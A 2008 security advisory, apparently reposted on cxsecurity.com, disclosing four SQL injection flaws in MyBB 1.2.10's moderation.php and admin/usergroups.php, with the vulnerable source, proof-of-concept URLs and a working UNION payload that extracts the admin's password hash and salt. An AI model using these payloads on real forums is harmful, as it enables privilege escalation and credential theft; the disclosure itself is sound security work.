Multiple Sql Injections in MyBB 1.2.10

2008.01.22
Credit: Janek Vind
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[waraxe-2008-SA#062] - Multiple Sql Injections in MyBB 1.2.10 ======================================================================== ======= Author: Janek Vind "waraxe" Date: 16. January 2008 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-62.html Target software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ MyBB is a discussion board that has been around for a while; it has evolved from other bulletin boards into the forum package it is today. Therefore, it is a professional and efficient discussion board, developed by an active team of developers. Vulnerabilities discovered ======================================================================== ======= 1. SQL Injection in "moderation.php" action "do_mergeposts" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Precondition: attacker must have moderator privileges in target MyBB installation, including "canmanagethreads". From source code of "moderation.php" line ~438: ------------------------------------------------------------------------ ------- // Lets merge those selected posts! case "do_mergeposts": if(is_moderator($fid, "canmanagethreads") != "yes") { error_no_permission(); } $plugins->run_hooks("moderation_do_mergeposts"); $mergepost = $mybb->input['mergepost']; if(count($mergepost) <= 1) { error($lang->error_nomergeposts); } foreach($mergepost as $pid => $yes) { $plist[] = $pid; } $moderation->merge_posts($plist, $tid, $mybb->input['sep']); ------------------------------------------------------------------------ ------- As seen above, unsanitized array variable 'mergepost' from GPC is delivered to function "merge_posts()" as first argument - "$plist". Source code of "merge_posts": ------------------------------------------------------------------------ ------- function merge_posts($pids, $tid, $sep="new_line") { global $db, $plugins; $pidin = implode(",", $pids); $first = 1; // Get the messages to be merged $query = $db->query(" SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts FROM ".TABLE_PREFIX."posts p LEFT JOIN ".TABLE_PREFIX."forums f ON (f.fid=p.fid) WHERE p.tid='$tid' AND p.pid IN($pidin) ORDER BY dateline ASC "); ------------------------------------------------------------------------ ------- It is obvious, that "$pids" argument will be used in sql query without any sanitization. So sql injection security hole seems to exist here. Let's try this proof of concept test: http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts &mergepost[war]=1&mergepost[axe]=2 ... and we can see sql error message: MySQL error: 1054 Unknown column 'war' in 'where clause' Query: SELECT p.pid, p.uid, p.fid, p.tid, p.visible, p.message, f.usepostcounts FROM mybb_posts p LEFT JOIN mybb_forums f ON (f.fid=p.fid) WHERE p.tid='0' AND p.pid IN(war,axe) ORDER BY dateline ASC Yes, indeed, sql injection exists and as bonus, we can determine from error message additional piece of information, useful for sql injections - table prefix. It can be different from "mybb_" and without knowing it we will have trouble trying to fetch data from MyBB tables. This was Proof-Of-Concept test, how about real attack example? Here it is: http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts &mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+S ELECT+1, (SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27) +FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2 As result we can see sql error message: MySQL error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ... line 1 Query: UPDATE mybb_users SET postnum=postnum-1 WHERE uid='^waraxe^aff3fcfc70d2a50c3d4c2158233c3901^C5ybEW6b^'' Yeah - admin's username, password hash and salt, all in one line! Now - mitigating factors. First of all, attacker must have moderator privileges, including "canmanagethreads". So this sql injection security hole can be used for privileges escalation from moderator to admin, if admin's password is weak enough to be cracked with reasonable processing power and time. Error feedback - if attacker can't see sql error messages, then this will not stop the attack, it will be just harder to exploit and involves blind sql injection attack methods. 2. SQL Injection in "moderation.php" action "allreports" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Precondition: attacker must have moderator privileges in target MyBB installation. Let's try: http://localhost/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid= 0' +UNION+SELECT+waraxe--+ And we see error message: MySQL error: 1054 Unknown column 'waraxe' in 'field list' Query: SELECT COUNT(rid) AS count FROM mybb_reportedposts WHERE rid <= '0' UNION SELECT waraxe-- ' Problematic code: case "allreports": if(is_moderator() != "yes") { error_no_permission(); } ... if($mybb->input['rid']) { $query = $db->simple_select(TABLE_PREFIX."reportedposts", "COUNT(rid) AS count", "rid <= '".$mybb->input['rid']."'"); This sql injection can ultimately lead to privilege escalation from moderator level to admin level - as in previous case. 3. SQL Injection in "moderation.php" action "do_multimovethreads" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Precondition: attacker must have moderator privileges in target MyBB installation, including "canmanagethreads". Let's issue this request: http://localhost/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethr eads &moveto=2&threads=war|axe Error message: MySQL error: 1054 Unknown column 'war' in 'where clause' Query: SELECT fid, visible, replies, unapprovedposts FROM mybb_threads WHERE tid IN (war,axe) Flawed piece of code: case "do_multimovethreads": if(is_moderator($fid, "canmanagethreads") != "yes") { error_no_permission(); } $moveto = intval($mybb->input['moveto']); $threadlist = explode("|", $mybb->input['threads']); foreach($threadlist as $tid) { $tids[] = $tid; } ... $moderation->move_threads($tids, $moveto); Similary to previous two cases, this sql injection can lead to privilege escalation from moderator level to admin level within MyBB context. 4. SQL Injection in "admin/usergroups.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~ Precondition: attacker must have admin privileges in MyBB context, therefore risk level is low. Still, any non-superadmin can fetch any data from database, including password hashes for other admins. http://localhost/mybb.1.2.10/admin/usergroups.php? adminsid=f962d4e991671f3f930d7117a745147f &action=do_joinrequests &request[waraxe]=decline Error: MySQL error: 1054 Unknown column 'waraxe' in 'where clause' Query: DELETE FROM mybb_joinrequests WHERE uid IN(waraxe) AND gid='' http://localhost/mybb.1.2.10/admin/usergroups.php? adminsid=f962d4e991671f3f930d7117a745147f &action=do_joinrequests &request[-1]=decline &gid='waraxe Error: MySQL error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'waraxe'' at line 1 Query: DELETE FROM mybb_joinrequests WHERE uid IN(-1) AND gid=''waraxe' Reason - incoming variables "request" and "gid" are not properly sanitized before using in sql queries. How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~ Download MyBB new version 1.2.11 as soon as possible! Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~ Greets to ToXiC, LINUX, y3dips, Sm0ke, Heintz, slimjim100, Chb and anyone else who know me! Greetings to Raido Kerna. Tervitusi Torufoorumi rahvale! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~ come2waraxe (at) yahoo (dot) com [email concealed] Janek Vind "waraxe" Homepage: http://www.janekvind.com/ Waraxe forum: http://www.waraxe.us/forums.html ---------------------------------- [ EOF ] --------------------------------


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top